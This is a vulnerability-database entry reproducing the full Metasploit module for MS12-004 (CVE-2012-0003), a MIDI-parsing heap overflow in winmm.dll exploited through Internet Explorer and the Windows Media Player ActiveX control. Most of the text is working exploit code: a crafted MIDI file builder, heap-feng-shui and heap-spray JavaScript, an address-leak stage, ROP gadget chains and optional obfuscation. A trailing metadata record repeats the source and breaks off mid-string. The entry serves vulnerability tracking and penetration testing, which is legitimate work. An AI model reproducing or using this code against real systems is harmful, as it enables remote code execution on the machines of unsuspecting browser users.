ID MSF:EXPLOIT/WINDOWS/BROWSER/MS12_004_MIDI Type metasploit Reporter Rapid7 Modified 2020-10-02T20:00:37
Description
This module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using the Windows Media Player ActiveX control. Exploitation is done by supplying a specially crafted MIDI file with specific events, causing the offset calculation being higher than what is available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing us to either "inc al" or "dec al" a byte. This can be used to corrupt an array (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, which leverages remote code execution under the context of the user. Note: At this time, for IE 8 target, msvcrt ROP is used by default. However, if you know your target's patch level, you may also try the 'MSHTML' advanced option for an info leak based attack. Currently, this module only supports two MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3. Or 8.0.6001.19120, which is patch level before the MS12-004 fix. Also, based on our testing, the vulnerability does not seem to trigger when the victim machine is operated via rdesktop.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
'Description' => %q{
This module exploits a heap overflow vulnerability in the Windows Multimedia
Library (winmm.dll). The vulnerability occurs when parsing specially crafted
MIDI files. Remote code execution can be achieved by using the Windows Media Player
ActiveX control.
Exploitation is done by supplying a specially crafted MIDI file with
specific events, causing the offset calculation being higher than what is
available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
us to either "inc al" or "dec al" a byte. This can be used to corrupt an array
(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
which leverages remote code execution under the context of the user.
Note: At this time, for IE 8 target, msvcrt ROP is used by default. However,
if you know your target's patch level, you may also try the 'MSHTML' advanced
option for an info leak based attack. Currently, this module only supports two
MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3.
Or 8.0.6001.19120, which is patch level before the MS12-004 fix.
Also, based on our testing, the vulnerability does not seem to trigger when
the victim machine is operated via rdesktop.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Shane Garrett', #Initial discovery (IBM X-Force)
'juan vazquez',
'sinn3r'
],
'References' =>
[
[ 'MSB', 'MS12-004'],
[ 'CVE', '2012-0003' ],
[ 'OSVDB', '78210'],
[ 'BID', '51292']
],
'Payload' =>
{
'Space' => 1024
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => false,
'DispatchDst' => 0x0c0c0c0c
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => false,
'DispatchDst' => 0x0c0c0c0c
}
],
[
'IE 8 on Windows XP SP3',
{
# xchg ecx,esp
# or byte ptr [eax],al
# add byte ptr [edi+5Eh],bl
# ret 8
# From IMAGEHLP
'Rop' => true,
'StackPivot' => 0x76C9B4C2,
'DispatchDst' => 0x0c0c1bd0
}
]
],
'Privileged' => false,
'DisclosureDate' => '2012-01-10',
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
])
register_advanced_options(
[
OptEnum.new('MSHTML',
[
false, "MSHTML Build Version", '',
[
'', #Default (no leaky leaky)
'8.0.6001.18702', #newly installed Win XP SP3 non patched
'8.0.6001.19120' #fully patched before KB2598479 - been the same at least since Sep 2011
]
])
])
end
def exploit
@m_name, @midi = get_midi
@ml_name, @midi_leak = get_midi("leak")
@second_stage_url = rand_text_alpha(10)
@leak_param = rand_text_alpha(5)
# Offset to CFunctionPointer vftable in MSHTML
case datastore['MSHTML']
when '8.0.6001.18702'
@offset = 0xbf190
when '8.0.6001.19120'
@offset = 0xd92c8
end
super
end
def get_target(request)
agent = request.headers['User-Agent']
print_status("Request as: #{agent}")
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP SP3 + IE 6.0
return targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP SP3 + IE 7.0
return targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
#Windows XP SP3 + IE 8.0
return targets[3]
else
return nil
end
end
# stage => "corruption" (default) | "leak"
def get_midi(stage="corruption")
# MIDI Fileformat Reference:
# http://www.sonicspot.com/guide/midifiles.html
#
# Event Types:
# 0x08 = Note Off (when MIDI key is released)
# 0x09 = Note On (when MIDI key is pressed)
# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
# 0x0B = Controller Event (MIDI channels state)
# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
# 0x0F = Meta Events (not sent or received over a midi port)
# Structure:
# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)
# Track Chunk Data
tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
# Meta Event - Sequence/Track Name
tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
# Midi Channel Event - Program Change
tc << "\x00\xC9\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x07\x64"
# Midi Channel Event - Controller
tc << "\x00\xB9\x0A\x40"
# Midi Channel Event - Controller
tc << "\x00\xB9\x7B\x00"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5B\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5D\x00"
# Midi Channel Event - Note On
tc << "\x85\x50\x99\x23\x7F"
# Corruption events
if stage == "corruption"
# Midi Channel Event - Note On
tc << "\x00\x9F\xb2\x73"
else
# Midi Channel Event - Note Off (trigger a leak)
tc << "\x00\x8F\xb2\x73"
end
# Meta Event - End Of Track
tc << "\x00\xFF\x2F\x00"
m = ''
# HEADERCHUNK Header
m << "MThd" # Header
m << "\x00\x00\x00\x06" # Chunk size
m << "\x00\x00" # Format Type
m << "\x00\x01" # Number of tracks
m << "\x00\x60" # Time division
# TRACKCHUNK header
m << "MTrk" # Header
m << [tc.length].pack('N')
m << tc
#midi_name = "test_case.mid"
midi_name = rand_text_alpha(5) + ".mid"
return midi_name, m
end
def on_request_uri(cli, request)
# Initialize a target. If none suitable, then we don't continue.
my_target = target
if my_target.name =~ /Automatic/
my_target = get_target(request)
agent = request.headers['User-Agent']
if my_target.nil? and agent !~ /Windows\-Media\-Player|NSPlayer/
send_not_found(cli)
print_error("Unknown user-agent")
return
end
vprint_status("Target selected: #{my_target.name}") if not my_target.nil?
end
# Send the corrupt midi file to trigger a memory leak, or a crash to that points
# to an arbitrary address.
if request.uri =~ /#{@ml_name}$/i
print_status("Testing for info leak...")
send_response(cli, @midi_leak, {'Content-Type'=>'application/octet-strem'})
return
elsif request.uri =~ /#{@m_name}$/i
print_status("Sending midi corruption file...")
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
return
end
# Send the appropriate stage
if datastore['MSHTML'].to_s != '' and my_target['Rop']
if request.uri =~ /#{@second_stage_url}/
leak = begin
request.uri_parts["QueryString"][@leak_param].to_i
rescue
0
end
print_status("Leaked address: 0x#{leak.to_s(16)}")
send_stage(cli, my_target, 'trigger', leak)
return
end
send_stage(cli, my_target, 'leak')
else
send_stage(cli, my_target)
end
end
def send_stage(cli, my_target, stage='trigger', leak=0)
midi_uri = get_resource.chomp("/")
if stage == 'leak'
midi_uri << "/#{@ml_name}"
trigger = build_trigger(my_target, "leak")
else
midi_uri << "/#{@m_name}"
trigger = build_trigger(my_target)
spray = build_spray(my_target, leak)
end
if datastore['OBFUSCATE']
spray = ::Rex::Exploitation::JSObfu.new(spray).obfuscate(memory_sensitive: true)
trigger = ::Rex::Exploitation::JSObfu.new(trigger)
trigger.obfuscate(memory_sensitive: true)
trigger_fn = trigger.sym('trigger')
else
trigger_fn = 'trigger'
end
html = %Q|
<html>
<head>
<script language='javascript'>
#{spray}
</script>
<script language='javascript'>
#{trigger}
</script>
<script for=audio event=PlayStateChange(oldState,newState)>
if (oldState == 3 && newState == 0) {
#{trigger_fn}();
}
</script>
</head>
<body>
<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
<param name="fileName" value="#{midi_uri}">
<param name="SendPlayStateChangeEvents" value="true">
<param NAME="AutoStart" value="True">
<param name="uiMode" value="mini">
<param name="Volume" value="-300">
</object>
</body>
</html>
|
html = html.gsub(/^ {4}/, '')
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def build_spray(my_target, leak=0)
# Extract string based on target
if my_target.name == 'IE 8 on Windows XP SP3'
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
else
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
end
# Build shellcode based on Rop requirement
code = ''
if my_target['Rop'] and datastore['MSHTML'].to_s != ''
print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}")
code << create_info_leak_rop(my_target, leak)
code << payload.encoded
elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''
print_status("Generating ROP using msvcrt")
code << create_rop(my_target, payload.encoded)
else
code << payload.encoded
end
shellcode = Rex::Text.to_unescape(code)
randnop = rand_text_alpha(rand(100) + 1)
js_nops = Rex::Text.to_unescape("\x0c"*4)
# 1. Create big block of nops
# 2. Compose one block which is nops + shellcode
# 3. Repeat the block
# 4. Extract string from the big block
# 5. Spray
spray = <<-JS
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{shellcode}");
var #{randnop} = "#{js_nops}";
var nops = unescape(#{randnop});
while (nops.length < 0x1000) nops+= nops;
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
#{js_extract_str}
heap_obj.gc();
for (var i=0; i < 600; i++) {
heap_obj.alloc(block);
}
JS
spray = heaplib(spray, {:noobfu => true})
return spray
end
# Build the JavaScript string for the attributes
# type => "corruption" (default) | "leak"
def build_element(element_name, my_target, type="corruption")
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
element = ''
if my_target.name =~ /IE 8/
max = 63 # Number of attributes for IE 8
index = 1 # Where we want to confuse the type
else
max = 55 # Number of attributes for before IE 8
index = 0 # Where we want to confuse the type
end
element << "var #{element_name} = document.createElement(\"select\")" + "\n"
# Build attributes
0.upto(max) do |i|
case type
when "corruption"
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
else #leak
obj = "alert"
end
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
end
return element
end
# Feng Shui and triggering Steps:
# 1. Run the garbage collector before allocations
# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
# 3. Make holes
# 4. Let windows media play the crafted midi file and corrupt the heap
# 5. Force the using of the confused tagVARIANT.
def build_trigger(my_target, type="corruption")
js_trigger = build_trigger_fn(my_target, type)
select_element = build_element('selob', my_target, type)
trigger = <<-JS
var heap = new heapLib.ie();
#{select_element}
var clones = new Array(1000);
function feng_shui() {
heap.gc();
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
#{js_trigger}
JS
trigger = heaplib(trigger, {:noobfu => true})
return trigger
end
# type = "corruption" (default) | "leak"
def build_trigger_fn(my_target, type="corruption")
js_trigger=""
case type
when "corruption"
js_trigger = js_trigger_fn_corruption(my_target)
when "leak"
js_trigger = js_trigger_fn_leak(my_target)
end
return js_trigger
end
# Redoing the feng shui if fails makes it reliable
def js_trigger_fn_corruption(my_target)
attribute = (my_target.name == 'IE 8 on Windows XP SP3') ? 'w1' : 'w0'
js = %Q|
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].#{attribute}) == "string") {
} else {
clones[k].#{attribute}('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
|
return js
end
# Redoing the feng shui if fails makes it reliable
def js_trigger_fn_leak(my_target)
js_trigger = ""
if my_target.name == 'IE 8 on Windows XP SP3'
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
var leak = clones[k].w1.charCodeAt(1)*0x10000 + clones[k].w1.charCodeAt(0)
document.location = "#{get_resource.chomp("/")}/#{@second_stage_url}" + "?#{@leak_param}=" + leak
return;
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER
end
return js_trigger
end
def create_rop(t, p)
# MSVCRT.dll ROP
padding = ''
padding << [0x77C4CA70].pack("V*") #ADD ESP,0C; RET
padding << [t['StackPivot']].pack("V*")
padding << [0x77C4CA73].pack("V*") * 12 #ROP NOPs
generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'})
end
def create_info_leak_rop(my_target, leak = 0x0)
base = (leak == 0x00) ? 0x63580000 : (leak - @offset)
print_status("Image base of mshtml: 0x%x" %base)
# Generate the gadgets based on offset
rop_gadgets = ''
case @offset
when 0xd92c8
rop_gadgets =
[
:junk,
:junk,
0x328468, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
:junk,
0x247e5d, # ROP NOPs
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5c, # POP ESI # RETN [mshtml.dll]
0x137c, # ptr to &VirtualProtect() [IAT mshtml.dll]
0x3c8db7, # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll]
0x42e239, # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll]
:junk,
0x3460c, # POP EBP # RETN [mshtml.dll]
:junk,
:junk,
0x23ef79, # & jmp esp [mshtml.dll]
0x189303, # POP EBX # RETN [mshtml.dll]
:ebx, # 0x00000201-> ebx
0x20437c, # POP EDX # RETN [mshtml.dll]
:edx, # 0x00000040-> edx
0xc277, # POP ECX # RETN [mshtml.dll]
0x53a47d, # &Writable location [mshtml.dll]
0x4a33e2, # POP EDI # RETN [mshtml.dll]
0x4b601, # RETN (ROP NOP) [mshtml.dll]
0x33fbc6, # POP EAX # RETN [mshtml.dll]
:nop,
0x52c718 # PUSHAD # RETN [mshtml.dll]
]
when 0xbf190
rop_gadgets =
[
:junk,
0x3338ae, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
:junk,
0xe9e7, # POP ECX # RETN [mshtml.dll] 0x6358e9e7
:junk,
:junk,
:junk,
:junk,
:junk,
0x1318, # ptr to &VirtualProtect() [IAT mshtml.dll]
0x48b440, # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll]
0x3dc745, # POP ESI # RETN [mshtml.dll]
:neg, # 0xffffffff
0x2fb18b, # INC ESI # RETN [mshtml.dll]
0x35190d, # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll]
0x4aada7, # POP EBP # RETN [mshtml.dll]
:junk, # Compensates RETN
:junk, # Compensates RETN
0x1ffc54, # & jmp esp [mshtml.dll]
0x4498a7, # POP EBX # RETN [mshtml.dll]
:ebx, # 0x00000800: 0x00000201-> ebx
0x24cce4, # POP EDX # RETN [mshtml.dll]
:edx, # 0x00000040-> edx
0x158306, # POP ECX # RETN [mshtml.dll]
0x535098, # &Writable location [mshtml.dll]
0x1cf217, # POP EDI # RETN [mshtml.dll]
0xa0001, # RETN (ROP NOP) [mshtml.dll]
0x349f9b, # POP EAX # RETN [mshtml.dll]
:nop,
0x2afbe8 # PUSHAD # RETN [mshtml.dll]
]
end
nops = make_nops(4).unpack("L")[0].to_i
rop_gadgets.map! { |e|
if e == :junk
rand_text(4).unpack("L")[0].to_i
elsif e == :neg
0xffffffff
elsif e == :ebx
0x00000800
elsif e == :edx
0x00000040
elsif e == :nop
nops
else
base + e
end
}
chain = rop_gadgets.pack('V*')
return chain
end
end
{"id": "MSF:EXPLOIT/WINDOWS/BROWSER/MS12_004_MIDI", "type": "metasploit", "bulletinFamily": "exploit", "title": "MS12-004 midiOutPlayNextPolyEvent Heap Overflow", "description": "This module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using the Windows Media Player ActiveX control. Exploitation is done by supplying a specially crafted MIDI file with specific events, causing the offset calculation being higher than what is available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing us to either \"inc al\" or \"dec al\" a byte. This can be used to corrupt an array (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, which leverages remote code execution under the context of the user. Note: At this time, for IE 8 target, msvcrt ROP is used by default. However, if you know your target's patch level, you may also try the 'MSHTML' advanced option for an info leak based attack. Currently, this module only supports two MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3. Or 8.0.6001.19120, which is patch level before the MS12-004 fix. Also, based on our testing, the vulnerability does not seem to trigger when the victim machine is operated via rdesktop.\n", "published": "2012-02-21T01:40:50", "modified": "2020-10-02T20:00:37", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "href": "", "reporter": "Rapid7", "references": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0003"], "cvelist": ["CVE-2012-0003"], "lastseen": "2020-10-13T00:44:47", "viewCount": 18, "enchantments": {"score": {"value": 9.6, "vector": "NONE", "modified": "2020-10-13T00:44:47", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2012-0003"]}, {"type": "seebug", "idList": ["SSV:72533", "SSV:30051", "SSV:30052"]}, {"type": "exploitdb", "idList": ["EDB-ID:18426"]}, {"type": "saint", "idList": ["SAINT:D0F2840F85EAD7B5D4AFC6F1F60354AD", "SAINT:82A19DE1F0A3BAD1EAB2AC09170E8E22", "SAINT:7A46096CBB70B473498CA6702F7AF236"]}, {"type": "symantec", "idList": ["SMNTC-51292"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:109176"]}, {"type": "threatpost", "idList": ["THREATPOST:6779A5759C7781BA5B73F3B6E0A515F2"]}, {"type": "canvas", "idList": ["MS12_004"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310902807", "OPENVAS:902807"]}, {"type": "nessus", "idList": ["SMB_NT_MS12-004.NASL"]}, {"type": "mskb", "idList": ["KB2636391"]}, {"type": "attackerkb", "idList": ["AKB:2A826956-B7BF-4556-BC5F-09013506A0D1"]}, {"type": "myhack58", "idList": ["MYHACK58:62201681939"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:12137"]}], "modified": "2020-10-13T00:44:47", "rev": 2}, "vulnersScore": 9.6}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/browser/ms12_004_midi.rb", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = NormalRanking\n\n include Msf::Exploit::Remote::HttpServer::HTML\n include Msf::Exploit::RopDb\n\n def initialize(info={})\n super(update_info(info,\n 'Name' => \"MS12-004 midiOutPlayNextPolyEvent Heap Overflow\",\n 'Description' => %q{\n This module exploits a heap overflow vulnerability in the Windows Multimedia\n Library (winmm.dll). The vulnerability occurs when parsing specially crafted\n MIDI files. Remote code execution can be achieved by using the Windows Media Player\n ActiveX control.\n\n Exploitation is done by supplying a specially crafted MIDI file with\n specific events, causing the offset calculation being higher than what is\n available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing\n us to either \"inc al\" or \"dec al\" a byte. This can be used to corrupt an array\n (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,\n which leverages remote code execution under the context of the user.\n\n Note: At this time, for IE 8 target, msvcrt ROP is used by default. However,\n if you know your target's patch level, you may also try the 'MSHTML' advanced\n option for an info leak based attack. Currently, this module only supports two\n MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3.\n Or 8.0.6001.19120, which is patch level before the MS12-004 fix.\n\n Also, based on our testing, the vulnerability does not seem to trigger when\n the victim machine is operated via rdesktop.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Shane Garrett', #Initial discovery (IBM X-Force)\n 'juan vazquez',\n 'sinn3r'\n ],\n 'References' =>\n [\n [ 'MSB', 'MS12-004'],\n [ 'CVE', '2012-0003' ],\n [ 'OSVDB', '78210'],\n [ 'BID', '51292']\n ],\n 'Payload' =>\n {\n 'Space' => 1024\n },\n 'DefaultOptions' =>\n {\n 'EXITFUNC' => \"process\",\n 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'\n },\n 'Platform' => 'win',\n 'Targets' =>\n [\n [ 'Automatic', {} ],\n [\n 'IE 6 on Windows XP SP3',\n {\n 'Rop' => false,\n 'DispatchDst' => 0x0c0c0c0c\n }\n ],\n [\n 'IE 7 on Windows XP SP3',\n {\n 'Rop' => false,\n 'DispatchDst' => 0x0c0c0c0c\n }\n ],\n [\n 'IE 8 on Windows XP SP3',\n {\n # xchg ecx,esp\n # or byte ptr [eax],al\n # add byte ptr [edi+5Eh],bl\n # ret 8\n # From IMAGEHLP\n 'Rop' => true,\n 'StackPivot' => 0x76C9B4C2,\n 'DispatchDst' => 0x0c0c1bd0\n }\n ]\n ],\n 'Privileged' => false,\n 'DisclosureDate' => '2012-01-10',\n 'DefaultTarget' => 0))\n\n register_options(\n [\n OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])\n ])\n\n register_advanced_options(\n [\n OptEnum.new('MSHTML',\n [\n false, \"MSHTML Build Version\", '',\n [\n '', #Default (no leaky leaky)\n '8.0.6001.18702', #newly installed Win XP SP3 non patched\n '8.0.6001.19120' #fully patched before KB2598479 - been the same at least since Sep 2011\n ]\n ])\n ])\n end\n\n def exploit\n @m_name, @midi = get_midi\n @ml_name, @midi_leak = get_midi(\"leak\")\n @second_stage_url = rand_text_alpha(10)\n @leak_param = rand_text_alpha(5)\n\n # Offset to CFunctionPointer vftable in MSHTML\n case datastore['MSHTML']\n when '8.0.6001.18702'\n @offset = 0xbf190\n when '8.0.6001.19120'\n @offset = 0xd92c8\n end\n super\n end\n\n def get_target(request)\n agent = request.headers['User-Agent']\n print_status(\"Request as: #{agent}\")\n\n if agent =~ /NT 5\\.1/ and agent =~ /MSIE 6\\.0/\n #Windows XP SP3 + IE 6.0\n return targets[1]\n elsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 7\\.0/\n #Windows XP SP3 + IE 7.0\n return targets[2]\n elsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 8\\.0/\n #Windows XP SP3 + IE 8.0\n return targets[3]\n else\n return nil\n end\n end\n\n # stage => \"corruption\" (default) | \"leak\"\n def get_midi(stage=\"corruption\")\n # MIDI Fileformat Reference:\n # http://www.sonicspot.com/guide/midifiles.html\n #\n # Event Types:\n # 0x08 = Note Off (when MIDI key is released)\n # 0x09 = Note On (when MIDI key is pressed)\n # 0x0A = Note aftertouch (pressure change on the pressed MIDI key)\n # 0x0B = Controller Event (MIDI channels state)\n # 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)\n # 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)\n # 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)\n # 0x0F = Meta Events (not sent or received over a midi port)\n\n # Structure:\n # [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)\n\n # Track Chunk Data\n tc = \"\\x00\\xFF\\x03\\x0D\\x44\\x72\\x75\\x6D\"\n # Meta Event - Sequence/Track Name\n tc << \"\\x73\\x20\\x20\\x20\\x28\\x42\\x42\\x29\\x00\"\n # Midi Channel Event - Program Change\n tc << \"\\x00\\xC9\\x28\"\n # Midi Channel Event - Controller\n tc << \"\\x00\\xB9\\x07\\x64\"\n # Midi Channel Event - Controller\n tc << \"\\x00\\xB9\\x0A\\x40\"\n # Midi Channel Event - Controller\n tc << \"\\x00\\xB9\\x7B\\x00\"\n # Midi Channel Event - Controller\n tc << \"\\x00\\xB9\\x5B\\x28\"\n # Midi Channel Event - Controller\n tc << \"\\x00\\xB9\\x5D\\x00\"\n # Midi Channel Event - Note On\n tc << \"\\x85\\x50\\x99\\x23\\x7F\"\n\n # Corruption events\n if stage == \"corruption\"\n # Midi Channel Event - Note On\n tc << \"\\x00\\x9F\\xb2\\x73\"\n else\n # Midi Channel Event - Note Off (trigger a leak)\n tc << \"\\x00\\x8F\\xb2\\x73\"\n end\n\n # Meta Event - End Of Track\n tc << \"\\x00\\xFF\\x2F\\x00\"\n m = ''\n # HEADERCHUNK Header\n m << \"MThd\" # Header\n m << \"\\x00\\x00\\x00\\x06\" # Chunk size\n m << \"\\x00\\x00\" # Format Type\n m << \"\\x00\\x01\" # Number of tracks\n m << \"\\x00\\x60\" # Time division\n # TRACKCHUNK header\n m << \"MTrk\" # Header\n m << [tc.length].pack('N')\n m << tc\n\n #midi_name = \"test_case.mid\"\n midi_name = rand_text_alpha(5) + \".mid\"\n\n return midi_name, m\n end\n\n def on_request_uri(cli, request)\n\n # Initialize a target. If none suitable, then we don't continue.\n my_target = target\n if my_target.name =~ /Automatic/\n my_target = get_target(request)\n agent = request.headers['User-Agent']\n if my_target.nil? and agent !~ /Windows\\-Media\\-Player|NSPlayer/\n send_not_found(cli)\n print_error(\"Unknown user-agent\")\n return\n end\n vprint_status(\"Target selected: #{my_target.name}\") if not my_target.nil?\n end\n\n # Send the corrupt midi file to trigger a memory leak, or a crash to that points\n # to an arbitrary address.\n if request.uri =~ /#{@ml_name}$/i\n print_status(\"Testing for info leak...\")\n send_response(cli, @midi_leak, {'Content-Type'=>'application/octet-strem'})\n return\n elsif request.uri =~ /#{@m_name}$/i\n print_status(\"Sending midi corruption file...\")\n send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})\n return\n end\n\n # Send the appropriate stage\n if datastore['MSHTML'].to_s != '' and my_target['Rop']\n if request.uri =~ /#{@second_stage_url}/\n leak = begin\n request.uri_parts[\"QueryString\"][@leak_param].to_i\n rescue\n 0\n end\n print_status(\"Leaked address: 0x#{leak.to_s(16)}\")\n send_stage(cli, my_target, 'trigger', leak)\n return\n end\n send_stage(cli, my_target, 'leak')\n else\n send_stage(cli, my_target)\n end\n end\n\n def send_stage(cli, my_target, stage='trigger', leak=0)\n midi_uri = get_resource.chomp(\"/\")\n\n if stage == 'leak'\n midi_uri << \"/#{@ml_name}\"\n trigger = build_trigger(my_target, \"leak\")\n else\n midi_uri << \"/#{@m_name}\"\n trigger = build_trigger(my_target)\n spray = build_spray(my_target, leak)\n end\n\n if datastore['OBFUSCATE']\n spray = ::Rex::Exploitation::JSObfu.new(spray).obfuscate(memory_sensitive: true)\n trigger = ::Rex::Exploitation::JSObfu.new(trigger)\n trigger.obfuscate(memory_sensitive: true)\n trigger_fn = trigger.sym('trigger')\n else\n trigger_fn = 'trigger'\n end\n\n html = %Q|\n <html>\n <head>\n <script language='javascript'>\n #{spray}\n </script>\n\n <script language='javascript'>\n #{trigger}\n </script>\n <script for=audio event=PlayStateChange(oldState,newState)>\n if (oldState == 3 && newState == 0) {\n #{trigger_fn}();\n }\n </script>\n </head>\n <body>\n <object ID=\"audio\" WIDTH=1 HEIGHT=1 CLASSID=\"CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95\">\n <param name=\"fileName\" value=\"#{midi_uri}\">\n <param name=\"SendPlayStateChangeEvents\" value=\"true\">\n <param NAME=\"AutoStart\" value=\"True\">\n <param name=\"uiMode\" value=\"mini\">\n <param name=\"Volume\" value=\"-300\">\n </object>\n </body>\n </html>\n |\n\n html = html.gsub(/^ {4}/, '')\n\n print_status(\"Sending html to #{cli.peerhost}:#{cli.peerport}...\")\n send_response(cli, html, {'Content-Type'=>'text/html'})\n end\n\n def build_spray(my_target, leak=0)\n\n # Extract string based on target\n if my_target.name == 'IE 8 on Windows XP SP3'\n js_extract_str = \"var block = shellcode.substring(2, (0x40000-0x21)/2);\"\n else\n js_extract_str = \"var block = shellcode.substring(0, (0x80000-6)/2);\"\n end\n\n # Build shellcode based on Rop requirement\n code = ''\n if my_target['Rop'] and datastore['MSHTML'].to_s != ''\n print_status(\"Generating ROP using info-leak: 0x#{leak.to_s(16)}\")\n code << create_info_leak_rop(my_target, leak)\n code << payload.encoded\n elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''\n print_status(\"Generating ROP using msvcrt\")\n code << create_rop(my_target, payload.encoded)\n else\n code << payload.encoded\n end\n\n shellcode = Rex::Text.to_unescape(code)\n\n randnop = rand_text_alpha(rand(100) + 1)\n js_nops = Rex::Text.to_unescape(\"\\x0c\"*4)\n\n # 1. Create big block of nops\n # 2. Compose one block which is nops + shellcode\n # 3. Repeat the block\n # 4. Extract string from the big block\n # 5. Spray\n spray = <<-JS\n var heap_obj = new heapLib.ie(0x10000);\n\n var code = unescape(\"#{shellcode}\");\n var #{randnop} = \"#{js_nops}\";\n var nops = unescape(#{randnop});\n\n while (nops.length < 0x1000) nops+= nops;\n var shellcode = nops.substring(0,0x800 - code.length) + code;\n while (shellcode.length < 0x40000) shellcode += shellcode;\n\n #{js_extract_str}\n\n heap_obj.gc();\n for (var i=0; i < 600; i++) {\n heap_obj.alloc(block);\n }\n\n JS\n\n spray = heaplib(spray, {:noobfu => true})\n return spray\n end\n\n # Build the JavaScript string for the attributes\n # type => 